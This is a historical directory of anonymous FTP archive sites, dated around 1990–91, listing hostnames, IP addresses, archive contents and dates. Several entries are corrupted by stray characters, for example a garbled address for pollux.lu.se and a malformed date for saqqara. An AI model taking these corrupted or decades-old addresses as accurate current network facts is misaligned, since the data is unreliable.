nova.cc.purdue.edu 11/02/90 4 anonymous/odin@pilot.njin.net +novell.macc.wisc.edu 128.104.30.31 MOKE (kanji/kana editor for + novell.macc.wisc.edu msdos) + novell.macc.wisc.edu 08/22/90 5 anonymous/odin@pilot.njin.net +ns.nic.yorku.ca 130.63.7.3 unknown + ns.nic.yorku.ca 10/09/90 4 anonymous/odin@pilot.njin.net +nssdca.gsfc.nasa.gov 128.183.36.23 hubble space telescope images + nssdca.gsfc.nasa.gov 12/23/90 -5 anonymous/odin@pilot.njin.net +nuri.inria.fr 128.93.1.26 unknown + nuri.inria.fr 03/22/91 -2 anonymous/odin@pilot.njin.net +nyu.edu 128.122.128.2 mod.sources + nyu.edu 01/02/91 4 anonymous/odin@pilot.njin.net +ocf.berkeley.edu 128.32.184.254 OCF, Apollo software, Hello + ocf.berkeley.edu World archive + ocf.berkeley.edu 08/22/90 7 anonymous/odin@pilot.njin.net +oddjob.uchicago.edu 128.135.4.2 NNTP, Sendmail, utils, + oddjob.uchicago.edu 128.135.4.32 Ethernet stuff + oddjob.uchicago.edu 08/22/90 5 anonymous/odin@pilot.njin.net +oddput.efd.lth.se 130.235.48.4 xps (postscript previewer) + oddput.efd.lth.se 05/15/90 -2 anonymous/odin@pilot.njin.net +ogre.cica.indiana.edu 129.79.21.178 lpd + ogre.cica.indiana.edu 08/13/90 5 anonymous/odin@pilot.njin.net +okeeffe.berkeley.edu 128.32.130.3 nothing + okeeffe.berkeley.edu 08/22/90 7 anonymous/odin@pilot.njin.net +omnigate.clarkson.edu 128.153.4.2 PS maps of DNS, Clarkson NCSA + omnigate.clarkson.edu telnet + omnigate.clarkson.edu 05/15/90 4 anonymous/odin@pilot.njin.net +orc.olivetti.com 129.189.192.20 msdos fax netinfo rfc + orc.olivetti.com 05/31/90 7 anonymous/odin@pilot.njin.net +oregon.uoregon.edu 128.223.20.2 unknown + oregon.uoregon.edu 128.223.32.18 + oregon.uoregon.edu 08/22/90 7 anonymous/odin@pilot.njin.net +orion.arc.nasa.gov 128.102.18.10 nothing + orion.arc.nasa.gov 128.102.128.2 + orion.arc.nasa.gov 05/31/90 7 anonymous/odin@pilot.njin.net +orville.nas.nasa.gov 129.99.23.7 hyperchannel network device + orville.nas.nasa.gov 129.99.196.2 driver, panel-library (Sil. + orville.nas.nasa.gov Graph. workstation graphical + orville?~FM9rf +9:=Y$H interface builder), Kyoto + orville.nas.nasa.gov Common Lisp for Cray2 + orville.nas.nasa.gov 08/22/90 7 anonymous/odin@pilot.njin.net +osi.ncsl.nist.gov 129.6.48.100 misc OSI info + osi.ncsl.nist.gov 05/15/90 4 anonymous/odin@pilot.njin.net +osi3.ncsl.nist.gov 129.6.51.1 GOSIP + osi3.ncsl.nist.gov 129.6.55.3 + osi3.ncsl.nist.gov 05/15/90 4 anonymous/odin@pilot.njin.net +osprey.telcom.arizona.edu 128.196.128.232 unknown + osprey.telcom.arizona.edu 10/25/90 7 anonymous/odin@pilot.njin.net +oswego.oswego.edu 129.3.1.1 GNU, mac, kermit + oswego.oswego.edu 08/22/90 4 anonymous/odin@pilot.njin.net +otax.tky.hut.fi 130.233.32.32 Mikkar accounting program + otax.tky.hut.fi 05/15/90 -3 anonymous/odin@pilot.njin.net +othello.dartmouth.edu 129.170.16.6 ATT 6300+ archive + othello.dartmouth.edu 07/06/90 4 anonymous/odin@pilot.njin.net +otis.stanford.edu 36.22.0.201 SELF language docs + otis.stanford.edu 01/17/91 7 anonymous/odin@pilot.njin.net +ouchem.chem.oakland.edu 141.210.108.5 unknown + ouchem.chem.oakland.edu 02/23/91 4 anonymous/odin@pilot.njin.net +p6xje.ldc.lu.se 130.235.133.7 NCSA telnet 2.2ds, PC + p6xje.ldc.lu.se networkInJ*Q9&8H86xje.ldc.lu.se 08/22/90 -2 anonymous/odin@pilot.njin.net +pacific.mps.ohio-state.edu 128.146.37.18 dvi2ps + pacific.mps.ohio-state.edu 05/15/90 4 anonymous/odin@pilot.njin.net +paul.rutgers.edu 128.6.4.14 omega + paul.rutgers.edu 128.6.5.60 + paul.rutgers.edu 05/15/90 4 anonymous/odin@pilot.njin.net +pc.usl.edu 130.70.40.3 pbmplus for amiga + pc.usl.edu 07/08/90 5 anonymous/odin@pilot.njin.net +peace.waikato.ac.nz 130.217.64.62 anu-news gnu msdos mac ncsa + peace.waikato.ac.nz x11r4 + peace.waikato.ac.nz 08/22/90 -1 anonymous/odin@pilot.njin.net +pearl.tufts.edu 130.64.1.2 VMS goodies + pearl.tufts.edu 03/26/91 4 anonymous/odin@pilot.njin.net +pemrac.space.swri.edu 129.162.150.4 convex users group + pemrac.space.swri.edu 08/22/90 5 anonymous/odin@pilot.njin.net +peoplesparc.berkeley.edu 128.32.131.14 unknown + peoplesparc.berkeley.edu 01/22/91 7 anonymous/odin@pilot.njin.net +perelandra.cms.udel.edu 128.175.74.1 unknown + perelandra.cms.udel.edu 01/17/91 4 anonymous/odin@pilot.njin.net +pgd.adp.wisc.edu 128.104.198.22 unknown + pgd.adp.wisc.edu 08/22/90 5 anonymous/odin@pilot.njin.net +phoebus.nisc.sri.com 192.33.33.22 unknown + phoebus.nisc.sri.com 04/24/91 7 anonymous/odin@pilot.njin.net +phoibos.cs.kun.nl 131.174.81.1 ToalTex, rail, glammar, glass + phoibos.cs.kun.nl 131.174.32.1 + phoibos.cs.kun.nl 02/21/91 -2 anonymous/odin@pilot.njin.net +piggy.cs.chalmers.se 129.16.2.25 unknown + piggy.cs.chalmers.se 03/31/91 -3 anonymous/odin@pilot.njin.net +piggy.ucsb.edu 128.111.72.50 coherent + piggy.ucsb.edu 09/01/90 6 anonymous/odin@pilot.njin.net +pilot.njin.net 128.6.7.38 Original distribution point + pilot.njin.net 128.6.18.38 of this ftp list + pilot.njin.net (pub/ftp-list) + pilot.njin.net 06/10/90 4 anonymous/odin@pilot.njin.net +pine.circa.ufl.edu 128.227.8.7 this list, RFCs, Internet + pine.circa.ufl.edu Worm reports + pine.circa.ufl.edu 08/22/90 4 anonymous/odin@pilot.njin.net +pion.lcs.mit.edu 18.26.0.64 clu + pion.lcs.mit.edu 05/31/90 4 anonymous/odin@pilot.njin.net +pit-manager.mit.edu 18.72.1.58 stories (Alice's PDP-10, Mel + pit-manager.mit.edu and the drum memory), humor, + pit-manager.mit.edu firearms discussion (RKBA + pit-manager.mit.edu articles) + pit-manager.mit.edu 03/26/91 4 anonymous/odin@pilot.njin.net +pitt.edu 130.49.1.253 local nameserver source, + pitt.edu local decnet database, + pitt.edu National Institute of Health + pitt.edu Guide Online, RFCs, local + pitt.edu network docs + pitt.edu 08/22/90 4 anonymous/odin@pilot.njin.net +pittslug.sug.org 130.49.192.150 unknown + pittslug.sug.org 03/17/91 anonymous/odin@pilot.njin.net +plains.nodak.edu 134.129.111.64 apple, msdos, mac, amiga, + plains.nodak.edu ascii pics, + plains.nodak.edu comp.sys.handhelds, hp-28 + plains.nodak.edu list archives + plains.nodak.edu 05/15/90 5 anonymous/odin@pilot.njin.net +poincare.geom.umn.edu 128.101.25.31 Differential Geometry Stuff + poincare.geom.umn.edu 06/01/90 5 anonymous/odin@pilot.njin.net +polaris.cognet.ucla.edu 128.97.50.3 unknown + polaris.cognet.ucla.edu 04/24/91 7 anonymous/odin@pilot.njin.net +polaris.llnl.gov 128.115.14.19 alt.archives, rfc + polaris.llnl.gov 05/31/90 7 anonymous/odin@pilot.njin.net +polaris.utu.fi 130.232.1.1 CLU sources + polaris.utu.fi 08/22/90 -3 anonymous/odin@pilot.njin.net +pollux.lu.se S&L235.132.89 ftp-sites, graphics, mac, + pollux.lu.se network + pollux.lu.se 08/22/90 -2 anonymous/odin@pilot.njin.net +polyslo.calpoly.edu 129.65.17.1 xtrek, top 2.0, spaceout, + polyslo.calpoly.edu cnews, nethack, nntp, uucp, + polyslo.calpoly.edu hosts, TR, RFCs, Conquer + polyslo.calpoly.edu Docs, usenix tape files, + polyslo.calpoly.edu short usenix files, + polyslo.calpoly.edu Hitchhikers guide to the + polyslo.calpoly.edu Internet, Internet Email list + polyslo.calpoly.edu 05/15/90 7 anonymous/odin@pilot.njin.net +pomona.claremont.edu 134.173.4.160 vms utils + pomona.claremont.edu 08/22/90 7 anonymous/odin@pilot.njin.net +ponder.csci.unt.edu 129.120.3.16 unknown + ponder.csci.unt.edu 09/29/90 5 anonymous/odin@pilot.njin.net +portnoy.cs.buffalo.edu 128.205.34.106 FSF + portnoy.cs.buffalo.edu 07/09/90 4 anonymous/odin@pilot.njin.net +postgres.berkeley.edu 128.32.149.1 University INGRES + postgres.berkeley.edu 08/22/90 7 anonymous/odin@pilot.njin.net +potemkin.cs.pdx.edu 131.252.20.145 Dylan, League for Programming + potemkin.cs.pdx.edu Freedom, Parker Lewis archive + potemkin.cs.pdx.edu 03/01/91 7 anonymous/odin@pilot.njin.net +pprg.unm.edu 129.24.13.10 bitmaps + pprg.unm.edu 192.31.154.1 + pprg.unm.edu 05/16/90 6 anonymous/odin@pilot.njin.net +primost.cs.wisc.edu 128.105.2.115 comp.compilers + primost.cs.wisc.edu 05/15/90 5 anonymous/odin@pilot.njin.net +princeton.edu 128.112.128.1 web, standard ML + princeton.edu 07/19/90 4 anonymous/odin@pilot.njin.net +procyon.cis.ksu.edu 129.130.10.80 sun fixes, old xbbs, old + procyon.cis.ksu.edu citadel, u3g toolkit, old + procyon.cis.ksu.edu unix-pc, pd modula2, msdos, + procyon.cis.ksu.edu mac, amiga, misc + procyon.cis.ksu.edu 11/25/90 5 anonymous/odin@pilot.njin.net +puppsr.princeton.edu 128.112.128.165 unknown + puppsr.princeton.edu 03/17/91 4 anonymous/odin@pilot.njin.net +pyrite.rutgers.edu 128.6.4.15 Security mailing list + pyrite.rutgers.edu 128.6.60.15 archives + pyrite.rutgers.edu 05/15/90 4 anonymous/odin@pilot.njin.net +qed.rice.edu 128.42.4.38 GNU, X11R3, plot2ps sources + qed.rice.edu 05/15/90 5 anonymous/odin@pilot.njin.net +quartz.rutgers.edu 128.6.4.8 unknown + quartz.rutgers.edu 05/19/90 4 anonymous/odin@pilot.njin.net +quiche.cs.mcgill.ca 132.206.2.3 recursive listing of all ftp + quiche.cs.mcgill.ca 132.206.51.1 sites, msdos, bible, Hubble + quiche.cs.mcgill.ca GIF images + quiche.cs.mcgill.ca 06/16/90 4 anonymous/odin@pilot.njin.net +ra.nrl.navy.mil 128.60.0.21 mac engineering and science + ra.nrl.navy.mil shareware + ra.nrl.navy.mil 04/02/91 4 anonymous/odin@pilot.njin.net +rand.org 192.5.14.33 some esperanto + rand.org 07/10/90 7 anonymous/odin@pilot.njin.net +rascal.ics.utexas.edu 128.83.138.20 KCL, AKCL (full common lisp + rascal.ics.utexas.edu implementation) + rascal.ics.utexas.edu 10/04/90 5 anonymous/odin@pilot.njin.net +rata.vuw.ac.nz 130.195.2.11 mac, sun, robodoc + rata.vuw.ac.nz 02/05/91 -1 anonymous/odin@pilot.njin.net +relay.cdnnet.ca 192.73.5.1 CA domain registrations, + relay.cdnnet.ca fonts, MuTeX, raster files, + relay.cdnnet.ca RFCs, sun and usenet utils + relay.cdnnet.ca 08/20/90 7 anonymous/odin@pilot.njin.net +research.att.com 192.20.225.2 TeX, gcc, ghostscript, f2c + research.att.com 08/22/90 4 anonymous/odin@pilot.njin.net +retina.chem.psu.edu 128.118.30.113 mopac + retina.chem.psu.edu 06/02/90 4 anonymous/odin@pilot.njin.net +riacs.edu 128.102.16.8 unknown + riacs.edu 03/25/91 anonymous/odin@pilot.njin.net +rigel.efd.lth.se 130.235.48.3 VMS emacs, decwindows diffs + rigel.efd.lth.se 08/22/90 -2 anonymous/odin@pilot.njin.net +ringo.rutgers.edu 128.6.5.77 Omega sources + ringo.rutgers.edu 128.6.13.6 + ringo.rutgers.edu 05/15/90 4 anonymous/odin@pilot.njin.net +rml2.sri.com 128.18.22.20 VMS gnu awk + rml2.sri.com 08/22/90 7 anonymous/odin@pilot.njin.net +rodan.acs.syr.edu 128.230.1.55 unix and mac stuff, novell + rodan.acs.syr.edu software + rodan.acs.syr.edu 02/21/91 4 anonymous/odin@pilot.njin.net +rogue.llnl.gov 128.115.2.99 DECnet security tools + rogue.llnl.gov 08/22/90 7 anonymous/odin@pilot.njin.net +rohini.telecomm.umn.edu 128.101.55.1 UMN hostables + rohini.telecomm.umn.edu 128.101.54.232 + rohini.telecomm.umn.edu 08/22/90 5 anonymous/odin@pilot.njin.net +roope.hut.fi 130.233.192.32 bib : dash, mosix, treads + roope.hut.fi 08/22/90 -3 anonymous/odin@pilot.njin.net +rover.umd.edu 128.8.2.73 unknown + rover.umd.edu 05/15/90 4 anonymous/odin@pilot.njin.net +rpi.edu 128.113.1.5 epelle + rpi.edu 08/15/90 4 anonymous/odin@pilot.njin.net +rrivax.rri.uwo.ca 129.100.7.2 unknown + rrivax.rri.uwo.ca 01/17/91 anonymous/odin@pilot.njin.net +rsa.com 192.80.211.13 unknown + rsa.com 02/23/91 7 anonymous/odin@pilot.njin.net +rtsg.ee.lbl.gov 128.3.254.68 flex, compressed SLIP + rtsg.ee.lbl.gov 08/22/90 7 anonymous/odin@pilot.njin.net +ruby.tufts.edu 130.64.1.8 mirror of pearl.tufts.edu + ruby.tufts.edu 03/26/91 4 anonymous/odin@pilot.njin.net +rusmv1.rus.uni-stuttgart.de 129.69.1.12 RFCs, X11, atari, amiga, + rusmv1.rus.uni-stuttgart.de msdos, unix, mathematics + rusmv1.rus.uni-stuttgart.de (Fortran) + rusmv1.rus.uni-stuttgart.de 05/15/90 -2 anonymous/odin@pilot.njin.net +rutgers.edu 128.6.4.7 comp.sources.sun + rutgers.edu 128.6.21.9 + rutgers.edu 05/15/90 4 anonymous/odin@pilot.njin.net +rye.cs.ucla.edu 131.179.192.79 tgif + rye.cs.ucla.edu 06/02/90 7 anonymous/odin@pilot.njin.net +sa.cacs.usl.edu 130.70.40.11 Socket interface + sa.cacs.usl.edu 08/22/90 7 anonymous/odin@pilot.njin.net +sachiko.acc.stolaf.edu 130.71.192.17 g++ + sachiko.acc.stolaf.edu 07/09/90 5 anonymous/odin@pilot.njin.net +samba.acs.unc.edu 128.109.157.30 unknown + samba.acs.unc.edu 04/24/91 4 anonymous/odin@pilot.njin.net +sao.aarnet.edu.au 130.56.5.21 VMS nntp server + sao.aarnet.edu.au 08/22/90 -11 anonymous/odin@pilot.njin.net +saqqara.cis.ohio-state.edu 128.146.8.98 SLIP sw, some NeWS + saqqara.cis.ohio-state.edu 12ou/90 4 anonymous/odin@pilot.njin.net +sauna.hut.fi 130.233.192.1 unix, athena docs, some FTP + sauna.hut.fi 130.233.200.1 dirs from US, elm, nntp, news + sauna.hut.fi 08/05/90 -3 anonymous/odin@pilot.njin.net +sayshell.umd.edu 128.8.2.88 version of KA9Q + sayshell.umd.edu 05/15/90 4 anonymous/odin@pilot.njin.net +sbcs.sunysb.edu 130.245.1.15 sun raster tools + sbcs.sunysb.edu 05/15/90 4 anonymous/odin@pilot.njin.net +scam.berkeley.edu 128.32.138.1 X sources, + scam.berkeley.edu rec.arts.startrek.info + scam.berkeley.edu archives + scam.berkeley.edu 10/21/90 7 anonymous/odin@pilot.njin.net +schizo.samsung.com 134.228.1.2 alt.sources, + schizo.samsung.com comp.sources.games, + schizo.samsung.com comp.sources.misc, + schizo.samsung.com comp.sources.sun, + schizo.samsung.com comp.sources.unix, + schizo.samsung.com comp.sources.x, GNU, usenet + schizo.samsung.com news sw, unix mail sw, + schizo.samsung.com networking sw, msdos, gifs, + schizo.samsung.com RFCs + schizo.samsung.com 09/22/90 4 anonymous/odin@pilot.njin.net +science.utah.edu 128.110.192.2 TeX things, Hershey (tenex) + science.utah.edu 08/22/90 6 anonymous/odin@pilot.njin.net +sciences.sdsu.edu 130.191.224.2 SS-1 sounds + sciences.sdsu.edu 10/04/90 7 anonymous/odin@pilot.njin.net +sdcsvax.ucsd.edu 132.239.51.2 prep-p, GAucsd, LML + sdcsvax.ucsd.edu 03/22/91 7 anonymous/odin@pilot.njin.net +sds.sdsc.edu 132.249.20.22 supercomputer center info + sds.sdsc.edu 08/22/90 7 anonymous/odin@pilot.njin.net +seismo.css.gov 140.162.1.25 patches for 4.3 bsd slip + seismo.css.gov driver, timed, and sendmail + seismo.css.gov 11/06/90 4 anonymous/odin@pilot.njin.net +serv1.cl.msu.edu 35.8.2.41 msu hosts files + serv1.cl.msu.edu 08/22/90 4 anonymous/odin@pilot.njin.net +sgi.com 192.48.153.1 IRIS stuff + sgi.com 05/15/90 7 anonymous/odin@pilot.njin.net +sh.cs.net 192.31.103.3 NetLists, NetMaps, RFCs, etc. + sh.cs.net 128.89.0.92 + sh.cs.net 08/22/90 4 anonymous/odin@pilot.njin.net +shambhala.berkeley.edu 128.32.132.54 xrn, xgraph + shambhala.berkeley.edu 08/22/90 7 anonymous/odin@pilot.njin.net +shape.mps.ohio-state.edu 128.146.7.200 unknown + shape.mps.ohio-state.edu 05/16/90 4 anonymous/odin@pilot.njin.net +shasta.scl.cwru.edu 129.22.32.7 smail/pc, msdos, gif, packet + shasta.scl.cwru.edu drivers, gnu-c 386, ka9q, + shasta.scl.cwru.edu pc/ip, ncsa, pc/tex, uemacs, + shasta.scl.cwru.edu p2c, rn, dvi2ps, uupc + shasta.scl.cwru.edu 04/24/91 4 anonymous/odin@pilot.njin.net +shemp.cs.ucla.edu 131.179.128.34 XWIP + shemp.cs.ucla.edu 05/15/90 7 anonymous/odin@pilot.njin.net +shillelagh.cse.nd.edu 129.74.9.7 unknown + shillelagh.cse.nd.edu 03/17/91 4 anonymous/odin@pilot.njin.net +shiva.com 192.80.57.1 unknown + shiva.com 10/09/90 4 anonymous/odin@pilot.njin.net +shorty.cs.wisc.edu 128.105.2.8 Condor, cslip for Ultrix 4.0, + shorty.cs.wisc.edu lj2ps, xgremlin, xproof + shorty.cs.wisc.edu 08/21/90 5 anonymous/odin@pilot.njin.net +shum.huji.ac.il 128.139.4.12 unknown + shum.huji.ac.il 03/17/91 anonymous/odin@pilot.njin.net +siam.unibe.ch 130.92.66.11 benchmark, c++, comm, + siam.unibe.ch databases, gnu, graphics, + siam.unibe.ch images, interviews, + siam.unibe.ch languages, mathematica, + siam.unibe.ch postscript, suntools, + siam.unibe.ch systemtools, tex, usenet, + siam.unibe.ch X11, emacs, ftp.list, games, + siam.unibe.ch sound + siam.unibe.ch 01/11/91 -2 anonymous/odin@pilot.njin.net +sics.se 192.16.123.90 calc, ft1, gated, interviews, + sics.se isode, mh, packet radio, + sics.se ping, pmake, printmail, sps, + sics.se Poskanzer bitmaps (runs whois + sics.se server) + sics.se 05/16/90 -2 anonymous/odin@pilot.njin.net +sierra.stanford.edu 36.2.0.98 unknown + sierra.stanford.edu 05/04/91 4 anonymous/odin@pilot.njin.net +sirius.ucs.adelaide.edu.au 129.127.40.3 X11R4, bsd stuff, CERT, + sirius.ucs.adelaide.edu.au modula 3, msdos, aus.aarnet + sirius.ucs.adelaide.edu.au archive, URT (Utah RLE + sirius.ucs.adelaide.edu.au toolkit) + sirius.ucs.adelaide.edu.au 04/02/91 -9 anonymous/odin@pilot.njin.net +skippy.umiacs.umd.edu 128.8.120.23 sun-nets archive + skippy.umiacs.umd.edu 05/15/90 4 anonymous/odin@pilot.njin.net +skutt.cs.chalmers.se 129.16.2.7 some Constructive Type Theory + skutt.cs.chalmers.se stuff, LML v0.97, xlpmud, + skutt.cs.chalmers.se some Constructive Type Theory + skutt.cs.chalmers.se stuff, LML v0.97, xlpmud + skutt.cs.chalmers.se 06/06/90 -2 anonymous/odin@pilot.njin.net +slc2.ins.cwru.edu 129.22.8.104 bash + slc2.ins.cwru.edu 04/24/91 4 anonymous/odin@pilot.njin.net +slopoke.mlb.semi.harris.com 132.158.82.36 unknown + slopoke.mlb.semi.harris.com 03/31/91 4 anonymous/odin@pilot.njin.net +smaug.cs.hope.edu 35.197.146.1 unknown + smaug.cs.hope.edu 03/17/91 4 anonymous/odin@pilot.njin.net +smilodon.cs.wisc.edu 128.105.1.214 os9 68k and 6809 software + smilodon.cs.wisc.edu 12/24/90 5 anonymous/odin@pilot.njin.net +sn01.sncc.lsu.edu 130.39.128.20 unknown + sn01.sncc.lsu.edu 12/31/90 5 anonymous/odin@pilot.njin.net +snake.utah.edu 128.110.4.58 skill/snice + snake.utah.edu 06/02/90 6 anonymous/odin@pilot.njin.net +snow.white.toronto.edu 128.100.2.160 mg + snow.white.toronto.edu 05/15/90 4 anonymous/odin@pilot.njin.net +soda.berkeley.edu 128.32.131.179 unknown + soda.berkeley.edu 04/24/91 anonymous/odin@pilot.njin.net +sol.cs.ruu.nl 131.211.80.5 atari, GNU, HP-UX, TeX, Perl, + sol.cs.ruu.nl UMFT, elm + sol.cs.ruu.nl 08/01/90 -2 anonymous/odin@pilot.njin.net +sol.ctr.columbia.edu 128.59.64.40 Lots of networking programs + + sol.ctr.columbia.edu background, DES, sun + sol.ctr.columbia.edu checkpoint + sol.ctr.columbia.edu 05/15/90 4 anonymous/odin@pilot.njin.net +sol.deakin.oz.au 128.184.1.1 simtel20 and garbo shadows + sol.deakin.oz.au 04/02/91 -11 anonymous/odin@pilot.njin.net +sol.sura.net 128.167.1.10 anime gifs, scripts, ghod bbs + sol.sura.net 12/25/90 4 anonymous/odin@pilot.njin.net +solar.stanford.edu 36.10.0.4 local Stanford info + solar.stanford.edu 05/15/90 7 anonymous/odin@pilot.njin.net +sonata.cc.purdue.edu 128.210.15.30 Next archives + sonata.cc.purdue.edu 11/02/90 3 anonymous/odin@pilot.njin.net +sp.unisys.com 129.218.100.161 unknown + sp.unisys.com 02/23/91 5 anonymous/odin@pilot.njin.net +sparky2.esd.mun.ca 134.153.11.101 NewPet and QuikPlot msdos + sparky2.esd.mun.ca geological software + sparky2.esd.mun.ca 04/24/91 2 anonymous/odin@pilot.njin.net +sparkyfs.erg.sri.com 128.18.3.39 Improving the Security of + sparkyfs.erg.sri.com 128.18.4.39 your Unix system + sparkyfs.erg.sri.com 128.18.5.39 + sparkyfs.erg.sri.com 10/13/90 7 anonymous/odin@pilot.njin.net +sparta.spartacus.com 192.8.0.7 router items of interest, + sparta.spartacus.com knet info + sparta.spartacus.com 01/03/91 4 anonymous/odin@pilot.njin.net +spdcc.com 140.186.80.3 unknown + spdcc.com 05/02/91 4 anonymous/odin@pilot.njin.net +sperm.ocean.washington.edu 128.95.252.7 RWVector, gcc, gdb, kermit, + sperm.ocean.washington.edu libg++, liblinpack, liboops, + sperm.ocean.washington.edu oopsV2R2+, plot5, spinup, + sperm.ocean.washington.edu sungraph, superfilters, + sperm.ocean.washington.edu xmodem, xyplot + sperm.ocean.washington.edu 05/15/90 7 anonymous/odin@pilot.njin.net +splicer.cba.hawaii.edu 128.171.17.7 novell, comm sw, ncsa, telnet + splicer.cba.hawaii.edu mac, utilities + splicer.cba.hawaii.edu 09/22/90 anonymous/odin@pilot.njin.net +spot.colorado.edu 128.138.129.2 netinfo: stuff, RFCs + spot.colorado.edu 05/15/90 6 anonymous/odin@pilot.njin.net +squid.cs.ucla.edu 131.179.96.44 medical documentation + squid.cs.ucla.edu 08/22/90 7 anonymous/odin@pilot.njin.net +ssyx.ucsc.edu 128.114.133.1 some mac + ssyx.ucsc.edu 08/22/90 7 anonymous/odin@pilot.njin.net +stag.math.lsa.umich.edu 141.211.64.23 unknown + stag.math.lsa.umich.edu 05/16/90 4 anonymous/odin@pilot.njin.net +star.cs.vu.nl 130.37.24.6 vi tutorial, amoeba, minix + star.cs.vu.nl 192.31.231.42 demo, CVS, idraw, magtape, + star.cs.vu.nl Xserver, atari + star.cs.vu.nl 03/15/91 -2 anonymous/odin@pilot.njin.net +stat.wisc.edu 128.105.5.1 FACT, Statbib, S functions + stat.wisc.edu 128.105.2.250 + stat.wisc.edu 05/15/90 5 anonymous/odin@pilot.njin.net +stolaf.edu 130.71.128.8 news, anime, bitmaps, amiga, + stolaf.edu 130.71.192.8 msods, mud, tex, dvi, + stolaf.edu net_spellbook, postscipt + stolaf.edu utils + stolaf.edu 07/16/90 5 anonymous/odin@pilot.njin.net +stout.atd.ucar.edu 128.117.80.30 unknown + stout.atd.ucar.edu 05/15/90 6 anonymous/odin@pilot.njin.net +stsci.edu 130.167.1.2 unknown + stsci.edu 10/09/90 4 anonymous/odin@pilot.njin.net +sumex-aim.stanford.edu 36.44.0.6 mac archives, Mycin (sun4), + sumex-aim.stanford.edu imap + sumex-aim.stanford.edu 05/15/90 7 anonymous/odin@pilot.njin.net +sun.cnuce.cnr.it 192.12.192.4 atalk, ka9q, GNU + sun.cnuce.cnr.it 08/22/90 -2 anonymous/odin@pilot.njin.net +sun.soe.clarkson.edu 128.153.12.3 Packet Driver, X11 fonts, + sun.soe.clarkson.edu TeX, PCIP, Freemacs, LaTeX + sun.soe.clarkson.edu styles + sun.soe.clarkson.edu 05/15/90 4 anonymous/odin@pilot.njin.net +sun1.ruf.uni-freiburg.de 132.230.1.1 unknown + sun1.ruf.uni-freiburg.de 05/15/90 -2 anonymous/odin@pilot.njin.net +suna.mqcc.mq.oz.au 137.111.161.1 unknown + suna.mqcc.mq.oz.au 01/17/91 -12 anonymous/odin@pilot.njin.net +suna.osc.edu 128.146.1.4 ape (animation production + suna.osc.edu environment) + suna.osc.edu 05/15/90 4 anonymous/odin@pilot.njin.net +sunbane.engrg.uwo.ca 129.100.100.12 Traveller mailing list + sunbane.engrg.uwo.ca archive, FrameMaker + sunbane.engrg.uwo.ca programs/utils + sunbane.engrg.uwo.ca 04/24/91 4 anonymous/odin@pilot.njin.net +suned.zoo.cs.yale.edu 128.36.21.1 games, utils, other hacks + suned.zoo.cs.yale.edu 05/15/90 4 anonymous/odin@pilot.njin.net +sunee.uwaterloo.ca 129.97.128.196 unknown + sunee.uwaterloo.ca 129.97.56.1 + sunee.uwaterloo.ca 04/24/91 4 anonymous/odin@pilot.njin.net +sunic.sunet.se 192.36.125.2 RFCs, nntp, news, sendmail, + sunic.sunet.se 130.237.216.2 ntp, comp.sources.unix, + sunic.sunet.se comp.sources.games, + sunic.sunet.se comp.sources.misc, + sunic.sunet.se alt.sources, GNU + sunic.sunet.se 05/15/90 -2 anonymous/odin@pilot.njin.net +sutro.sfsu.edu 130.212.15.230 NeXT-related files, mazewar + sutro.sfsu.edu 05/15/90 7 anonymous/odin@pilot.njin.net +svax.cs.cornell.edu 128.84.254.2 TransFig, Fig-FS, NetHack + svax.cs.cornell.edu 05/15/90 4 anonymous/odin@pilot.njin.net +svin02.info.win.tue.nl 131.155.2.8 unknown + svin02.info.win.tue.nl 12/31/90 -2 anonymous/odin@pilot.njin.net +syn-gate-gw.synoptics.com 134.177.32.116 unknown + syn-gate-gw.synoptics.com 10/09/90 7 anonymous/odin@pilot.njin.net +syr.edu 128.230.1.49 misc + syr.edu 09/29/90 7 anonymous/odin@pilot.njin.net +szechuan.ncsc.org 128.109.178.3 marching cubes surface tiler + szechuan.ncsc.org 06/02/90 4 anonymous/odin@pilot.njin.net +tacky.cs.olemiss.edu 130.74.96.13 unknown + tacky.cs.olemiss.edu 04/24/91 5 anonymous/odin@pilot.njin.net +tandem.com 130.252.10.8 ham radio + tandem.com 05/15/90 7 anonymous/odin@pilot.njin.net +tank.uchicago.edu 128.135.136.2 mac, OzTex + tank.uchicago.edu 05/15/90 5 anonymous/odin@pilot.njin.net +tasman.cc.utas.edu.au 131.217.10.1 mac net news reader + tasman.cc.utas.edu.au 07/19/90 -10 anonymous/odin@pilot.njin.net +tau.sm.luth.se 130.240.0.3 comp.binaries.ibm.pc + tau.sm.luth.se 05/16/90 -2 anonymous/odin@pilot.njin.net +taunivm.tau.ac.il 132.66.32.4 PLP (Public line printer) + taunivm.tau.ac.il 08/22/90 5 anonymous/odin@pilot.njin.net +taylor.gsfc.nasa.gov 128.183.39.21 unknown + taylor.gsfc.nasa.gov 05/04/91 4 anonymous/odin@pilot.njin.net +tesla.ee.cornell.edu 128.84.253.11 tcsh + tesla.ee.cornell.edu 128.84.224.11 + tesla.ee.cornell.edu 08/13/90 4 anonymous/odin@pilot.njin.net +tgv.com 192.41.228.65 multinet + tgv.com 08/22/90 4 anonymous/odin@pilot.njin.net +theory.tc.cornell.edu 128.84.181.1 unknown + theory.tc.cornell.edu 05/18/91 4 anonymous/odin@pilot.njin.net +theory.tn.cornell.edu 128.84.181.1 unknown + theory.tn.cornell.edu 08/22/90 4 anonymous/odin@pilot.njin.net +think.com 131.239.2.1 pmdc, X11.2 Interviews 3d, + think.com 192.5.104.212 lisp simulator + think.com 08/06/90 4 anonymous/odin@pilot.njin.net +thor.acc.stolaf.edu 130.71.192.1 fj newsgroups, bible, GNU, + thor.acc.stolaf.edu some ps, etc. + thor.acc.stolaf.edu 08/22/90 5 anonymous/odin@pilot.njin.net +thor.atd.ucar.edu 128.117.81.51 unknown + thor.atd.ucar.edu 05/15/90 6 anonymous/odin@pilot.njin.net +thumper.bellcore.com 128.96.41.1 official home of ka9q tcpip + thumper.bellcore.com 08/22/90 4 anonymous/odin@pilot.njin.net +ti.com 192.94.94.1 Explorer compress & en, CLUE, + ti.com CLX + ti.com 05/15/90 5 anonymous/odin@pilot.njin.net +ticsys.tamu.edu 128.194.43.66 gif, lpmud + ticsys.tamu.edu 08/31/90 5 anonymous/odin@pilot.njin.net +tik.vtt.fi 130.188.52.2 kjv, sultrix, secure.tar.Z + tik.vtt.fi 08/22/90 7 anonymous/odin@pilot.njin.net +titan.cc.tut.fi 128.214.23.9 supercomputing, benchmark, + titan.cc.tut.fi batch processing + titan.cc.tut.fi 12/23/90 -2 anonymous/odin@pilot.njin.net +titan.rice.edu 128.42.1.30 sun-spots, amiga, ispell, + titan.rice.edu ofiles + titan.rice.edu 08/06/90 5 anonymous/odin@pilot.njin.net 